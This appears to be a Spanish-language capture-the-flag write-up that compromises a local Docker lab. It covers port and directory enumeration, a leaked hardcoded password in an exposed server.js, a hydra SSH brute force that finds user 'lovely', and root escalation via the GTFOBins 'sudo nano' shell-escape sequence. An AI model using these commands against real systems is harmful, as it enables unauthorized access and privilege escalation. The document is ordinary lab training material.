

Ahora que sabemos los puertos que están abiertos, vamos a hacer un escaneo más profundo, con la versión que cuenta y todo cada puerto.

```
> nmap -p80,3000,5000 -sCV -Pn 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-08 19:49 CEST
Nmap scan report for 172.17.0.2
Host is up (0.000028s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.61 ((Debian))
|_ http-title: Mi Sitio
|_ http-server-header: Apache/2.4.61 (Debian)
3000/tcp  open  http    Node.js Express framework
|_ http-title: Error
5000/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
|_ ssh-hostkey:
|   256 f8:37:10:7e:16:a2:27:b8:3a:6e:2c:16:35:7d:14:fe (ECDSA)
|_  256 cd:11:10:64:60:e8:bf:d9:a4:f4:8e:ae:3b:d8:e1:8d (ED25519)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.85 seconds
```

Vamos a ver con que nos encontramos en el servidor http, vemos que no tenemos nada interesante.



Utilizaremos la herramienta gobuster para buscar algún fichero mas dentro del servidor http.

```
> sudo gobuster dir -u http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
-x php,html,py,txt
[sudo] contraseña para caan31:

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html,py
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

./html (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 234]
/backend (Status: 301) [Size: 310] [→ http://172.17.0.2/backend/]
/javascript (Status: 301) [Size: 313] [→ http://172.17.0.2/javascript/]
Progress: 123913 / 1102800 (11.24%)
```

Tenemos un directorio que se llama backend, dentro de este contamos con varios ficheros uno de ellos es server.js, vamos a mirarlo y podemos encontrar una contraseña que da acceso si el token es correcto, así que haremos un ataque de fuerza bruta a esta contraseña.

```
< > ↻ 📖 ⚠ No es seguro 172.17.0.2/backend/server.js

const express = require('express');
const app = express();

const port = 3000;

app.use(express.json());

app.post('/recurso/', (req, res) => {
  const token = req.body.token;
  if (token === 'tokentraviesito') {
    res.send('lapasswordebackupmaschingonadetodas');
  } else {
    res.status(401).send('Unauthorized');
  }
});

app.listen(port, '0.0.0.0', () => {
  console.log(`Backend listening at http://consolelog.lab:${port}`);
});
```

Con la herramienta hydra y un diccionario de usuarios comunes, después podremos ver que encontramos el usuario lovely

```
> hydra -l /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p lapasswordebackupmaschingonadetodas
ssh://172.17.0.2:5000
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-08 19:53:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 8295455 login tries (l:8295455/p:1), ~518466 tries per task
[DATA] attacking ssh://172.17.0.2:5000/
[STATUS] 311.00 tries/min, 311 tries in 00:01h, 8295147 to do in 444:33h, 13 active
[STATUS] 280.00 tries/min, 840 tries in 00:03h, 8294618 to do in 493:44h, 13 active
[5000][ssh] host: 172.17.0.2 login: lovely password: lapasswordebackupmaschingonadetodas
[5000][ssh] host: 172.17.0.2 login: lovely password: lapasswordebackupmaschingonadetodas
[STATUS] 262.43 tries/min, 1837 tries in 00:07h, 8293621 to do in 526:44h, 13 active
```

Ya que encontramos el usuario vamos a conectarnos mediante ssh que esta por el puerto 5000

```
> ssh -p 5000 lovely@172.17.0.2
The authenticity of host '[172.17.0.2]:5000 ([172.17.0.2]:5000)' can't be established.
ED25519 key fingerprint is SHA256:TUnzbWA0NsTnkmoG4y6xeMwIakLAGO70KPdicJNeE88.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[172.17.0.2]:5000' (ED25519) to the list of known hosts.
lovely@172.17.0.2's password:
Linux 47649932a794 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
lovely@47649932a794:~$
```

Una vez seamos el usuario lovely vamos a ver a que tenemos privilegios para escalar hasta root, con el comando sudo -l

```
lovely@47649932a794:~$ sudo -l
Matching Defaults entries for lovely on 47649932a794:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User lovely may run the following commands on 47649932a794:
    (ALL) NOPASSWD: /usr/bin/nano
```

Ahora buscaremos en la herramienta Gtfobins buscaremos como podemos escalar mediante el binario nano

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo nano
^R^X
reset; sh 1>&0 2>&0
```

```
lovely@47649932a794:~$ sudo nano
```

```
Command to execute: reset; sh 1>&0 2>&0
```

Ejecutamos los comandos y como podemos ver ahora somos root.

```
# Help      M-F New Buffer  ^S Spell Check  ^J Full Justify  ^V Cut Till End
# Cancel    M-\ Pipe Text   ^Y Linter        ^O Formatter    ^Z Suspend
#
# whoami
root
#
```